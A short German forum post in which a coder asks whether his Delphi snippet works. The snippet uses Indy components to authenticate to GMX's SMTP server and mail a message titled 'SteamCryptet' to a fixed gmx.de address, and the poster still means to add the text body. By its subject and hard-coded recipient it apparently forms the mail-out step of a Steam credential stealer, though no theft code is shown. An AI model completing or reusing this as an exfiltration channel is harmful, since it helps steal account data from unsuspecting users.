mhh jetzt gings es einmal wart



Was soll das jetz funzt es?^^

Code:
procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:= 'mail.gmx.net';
IdSMTP1.Username:= 'xxx'; //GMX Kundennummer!
IdSMTP1.Password:= 'xxx'; //Passwort
IdSMTP1.Connect;
IdSMTP1.Authenticate;
with IdMessage1 do begin
From.Text := 'Absender'; //Absender muss E-Mail sein!
Recipients.EMailAddresses := 'germandarknes@gmx.de'; //Muss Mail sein^^
Subject := 'SteamCryptet';
Priority := mpNormal;
ContentType:= 'text/plain';
end;
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
end;

Jetzt muss ic nur kurz code suchen für text